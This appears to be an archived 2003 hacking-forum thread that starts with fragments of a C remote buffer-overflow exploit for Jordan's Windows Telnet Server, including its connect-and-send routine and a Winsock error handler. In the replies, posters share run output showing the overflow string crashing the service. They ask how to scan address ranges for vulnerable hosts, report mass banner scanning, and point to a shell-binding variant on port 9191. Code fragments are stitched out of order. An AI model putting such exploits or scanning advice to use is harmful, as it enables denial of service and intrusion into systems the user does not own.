int main(int argc, char *argv[]) { u_char *buff; struct sockaddr_in peer; int sd, err; u_short port = PORT;
setbuf(stdout, NULL);
fputs("\n" "Jordan's Windows Telnet Server 1.2 remote buffer-overflow "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout);
if(argc < 2) { printf("\nUsage: %s <server> [port(%d)]\n" "\n" "The return address will be overwritten with the value 0x%08x\n" "\n", argv[0], PORT, RETADD); exit(1); }
printf("\n" "Connecting to %s:%hu...", inet_ntoa(peer.sin_addr), port); err = connect(sd, (struct sockaddr *)&peer, sizeof(peer)); if(err < 0) std_err(); fputs("ok and now sending the big string\n\n", stdout);
/* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */
#include <string.h> #include <errno.h>
void std_err(void) { char *error;
switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); }
DJVASTVASTY2K
Dec 31 2003, 10:46 AM
Hello M8's
Thank You For This Sploit
Ive not seen many TelNet Sploits so this does make a change. I wounder how many Vulnerable servers I have that are vulnerable to this exploit.
Thank You
Best Regards
Adam
Vast Gsm
DJVASTVASTY2K
Dec 31 2003, 10:49 AM
Hello M8's
Just To Show Some People Of How It Looks When Exploit Is Launched.
Application: Jordan's Windows Telnet server http://www.jordan.com/WindowsTelnetServer Versions: 1.0 (but the same version is also identified as 1.2) Platform: Windows Bug: buffer overflow Risk: high Exploitation: remote Date: 29 Dec 2003 Author: Luigi Auriemma e-mail: aluigi@altervista.org web: http://aluigi.altervista.org
The bug is a remote buffer-overflow in the client's login procedure. Practically an username of 518 bytes fully overwrites the return address of the vulnerable function. The problem happens in the unchecked copy of the buffer containing the string received from the socket to the new smaller buffer:
DJVASTVASTY2K: Post whore. Man, what did you just explain that we not already know?!
...god.
Hello M8's
No Offence
But Yes SOME PEOPLE DO NOT Allready Know
It Prooves It Below
LOL
Best Regards
Adam
Vast Gsm
bl00dyviper
Dec 31 2003, 11:59 AM
yeah but i can't test thousands of servers if there is "jordan telnet server" running because there is not only one telnet server version so is there any tool like http where i can identify the banner of the telnet server ?
seppel18
Dec 31 2003, 12:11 PM
Does it Spawn a Shell, or is it just DoS-Sploit??
TheAngel
Dec 31 2003, 12:11 PM
i think we shuld use a CGI scanner for this like xray but whats the cgi command to scanning this?
Divx_dude
Dec 31 2003, 07:56 PM
thx dude i tested it local and it worked verry good only that the TELNET server crashes;)
Divx_dude
Dec 31 2003, 08:03 PM
CODE
Connecting to 192.168.0.13:23...ok and now sending the big string
Windows Telnet Server Version 1.0 Copyright(C) Jordan Stojanovski 1999 ------------------------------------ User name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
C:\Documents and Settings\admin\Desktop\telnet exploit>
i think its a DOS exploit
seppel18
Dec 31 2003, 10:07 PM
yeah..no shellcode
cyrixx
Jan 1 2004, 06:36 AM
eeeeeem, what about that? :
CODE
/* * Jordan's Windows Telnet server v.1.0 remote exploit * binds cmd.exe shell on port 9191 * * Home page: http://www.jordan.com/WindowsTelnetServer * Advisory: http://security.nnov.ru/search/document.asp?docid=5583 * * Tested on winxp only, but must work on other win32 systems. * * -d4rkgr3y [d4rk@securitylab.ru], m00.void.ru * */
Hehe i scanned like 50 ranges from 1.1.0.0 - 1.1.255.255 (example) And none of them was running Jordans server, ( I did it with superscanner4 portbanner grabbing) Then i installed it localy and it seems a dos exploit none cmd shell
KoNh
Jan 4 2004, 12:12 PM
Aslo have this exploit compiled (there are 2 versions) both are crashing the telnet daemon (tryed it on my network) no shell binded to any port...
SyN/AcK
Jan 20 2004, 01:16 AM
If anyone is still interested, I found one that works for me. Search on google for ws_bo.c. It binds a shell to port 9191.
Mephisto
Jan 20 2004, 03:10 PM
can you post it here SyN/AcK so we can test your program plz??
and thnx allot 4 the sploit
SyN/AcK
Jan 20 2004, 06:28 PM
Yep, I'll do it in an hour or two... I have to find it, my computer is all unorganized now.
-=[MePhIsTo]=-
Jan 22 2004, 02:58 PM
But how to scan for this Server. When i do a Banner scan with DSNS on Port 23 it only give me decrypt letters like
CODE
207.21.*.* 23 ........#..'..$
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.